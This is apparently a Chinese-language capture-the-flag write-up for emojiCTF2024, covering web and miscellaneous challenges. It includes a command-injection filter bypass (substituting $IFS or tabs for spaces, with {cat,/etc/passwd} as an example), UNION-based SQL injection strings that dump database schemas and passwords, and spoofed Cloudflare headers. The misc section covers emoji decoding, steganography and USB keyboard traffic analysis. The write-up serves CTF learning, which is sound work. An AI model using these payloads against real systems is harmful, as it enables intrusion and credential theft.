RE:emojiCTF2024

RE:emojiCTF2024
EZL1NGWEB
rce
F12与右键被禁用
1 | view-source: |
提示
一般是/robot.txt或者/robots.txt
这里是/robots.txt
1 |
|
简单的命令执行
flag在flag.txt
; “ * 空格 b c d e f g h m n o p q r $ {} ^ >
被过滤
空格使用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab)
vi可以使用
payload:
1 | ?emo=vi%09?la?.txt |
http
看wp明白需要将请求方法改为PUT 请求
HTTP 请求方法(HTTP method)列表:PUT GET POST HEAD OPTIONS PATCH DELETE TRACE CONNECT
请求/fl1l1l1l1ag.php
e4_sql
测试1”
password和username都存在报错
1 | username=1" order by 1,2 --+ 无报错 |
长度为2
1 | password=1' order by 1,2,3,4,5 --+&submit=%E6%8F%90%E4%BA%A4&username=1" union select group_concat(schema_name),2 from information_schema.schemata --+ |
查students
1 | password=1' order by 1,2,3,4,5 --+&submit=%E6%8F%90%E4%BA%A4&username=1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='students') --+ --+ |
查information列
1 | password=1' order by 1,2,3,4,5 --+&submit=%E6%8F%90%E4%BA%A4&username=1" union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='students' and table_name='information') --+ |
查password
1 | password=1' order by 1,2,3,4,5 --+&submit=%E6%8F%90%E4%BA%A4&username=1" union select 1,(select group_concat(password) from students.information)--+ |
拿到flag
easy_web
提示一: User-Agent:Baiduspider
根据提示修改UA头
参考:
https://developers.cloudflare.com/fundamentals/reference/http-headers/
增加
1 | CF-Connecting-IP:1(任意) |
需要增加洋葱的http代理
根据CF文档
增加
1 | CF-IPCountry:T1 |
MISC
emoji
1 | def emoji_to(emos): |
这个程序的功能是将一串 emoji 表情符号转换为其对应的 Unicode 码点(数字表示)。Unicode 码点是计算机中表示字符的标准数字编码系统,每个字符(包括 emoji)都有唯一的数字标识。
exp:
1 | enc=[128093, 128099, 128088, 128094, 128114, 128092, 128100, 128039, 128097, 128096, 128086, 128040, 128106, 128086, 128106, 128102, 128086, 128043, 128108, 128101, 128116] |
emoji进行 base100解密
https://ctf.bugku.com/tool/base100
ez_png
lsb最高位隐写
keyboard
usb流量
tshark提取
1 | tshark- T json -r 题目.pcapng >output.json |
筛选所有usbhid.data
1 | strings output.json | grep "usbhid.data">1.txt |
坑:output.json的编码可能会使strings无法识别
以下命令转换编码
1 | iconv -f UTF-16LE -t UTF-8 output.json | grep "usbhid.data" > 1.txt |
得到
去掉字段名
exp:
1 | normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i", |
1 | /bin/python3.10 /mnt/c/Users/EZLING/Desktop/Tool/脚本/MIsc/USB/键盘/ISCTF2023_EZUSB.py |
flag{USB_misc_keyboard_flag}
或者mumuzi工具一键梭哈
Time to say good bye
压缩包里有12张图片
根据每一个图片的时间
a=时+分+秒
a的ASCII转字符即可
101 122 95 116 105 109 101 95 102 108 97 103
https://www.rapidtables.org/zh-CN/convert/number/ascii-hex-bin-dec-converter.html
排列的emoji
flag:
题目:
根据提示
题目中每个emoji的位置代表了一个数字
题目.png中的emoji们从0开始依次排列
对应flag数字
1 | 28 26 6 0 6 7 20 7 3 4 1 3 0 7 1 |
拼接
emojiCTF{282660672073413071}